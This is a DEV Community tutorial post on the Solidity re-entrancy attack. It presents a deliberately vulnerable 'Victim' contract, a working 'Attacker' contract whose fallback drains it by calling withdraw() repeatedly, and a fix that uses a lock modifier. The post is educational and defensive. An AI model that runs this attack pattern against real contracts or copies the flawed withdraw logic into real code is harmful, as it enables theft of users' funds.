DEV Community

Rushank Savant
Rushank Savant

Posted on • Updated on

Re-Entrancy

External calls in a smart contract play a vital role on Ethereum blockchain, and these can be used by hackers to force a contract to execute further code. Attacks of this kind were used in the DAO hack.

Let's understand this attack with the help of an example:

Consider a victim contract that stores eth received from multiple people and allow them to withdraw back:

contract Victim{
    mapping(address => uint) public balances;

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

Now let's understand how this can be attacked to steal all funds from the Victim contract:

  • Make a Attacker contract
  • make a fallback function that calls for withdraw from Victim
  • send some ETH to Victim contract
  • Then withdraw it
  • Now in the Victim contract, when following line will be executed from withdraw() function, it will trigger the fallback in the Attacker. This will lead to calling withdraw again before complete execution of previous withdraw(). This cycle will go on until the Victim contract is drained with funds

(bool sent,) = msg.sender.call{value: bal}("");

  • This happens because balances[msg.sender] =0; in withdraw() is never executed due to multiple withdraw calls. Hence Attacker contract address balance is never changed and the require condition always passes in cycle of withdraw() functions.

Phew, lot of words. Let's see the Attacker contract to understand better:

interface IVictim {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVictim public victimContract;
    constructor(address _victimContract) {
        victimContract = IVictim(_victimContract);
    }

    fallback() external payable {
        if (address(victimContract).balance > 0) {
        victimContract.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "< 1 ETH");
        victimContract.deposit{value: 1 ether}();
        victimContract.withdraw();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

If you understood the stuff above (if I delivered it well), then you might be able to come up with a solution to stop attackers. If not, no worries, following contract will help you understand it better.

contract VictimGaurded{
    mapping(address => uint) public balances;
    bool internal lock;

    modifier ReentrancyGaurd() {
        require(!lock, "Bad luck Attacker!");
        lock = true;
        _;
        lock = false;
    }

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external ReentrancyGaurd {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

The basic idea is to set a condition for 2nd function call to fail if previous call in not executed completely.

  • in the first call, it checks the lock:
    • if false, it changes lock to true and allow further code execution
    • if true, this means there is a previous call which is not yet executed completely. Hence throws an error.

There is also a simpler way, if we just update the balance before sending eth in the withdraw() function, re-entracy will fail.

Top comments (0)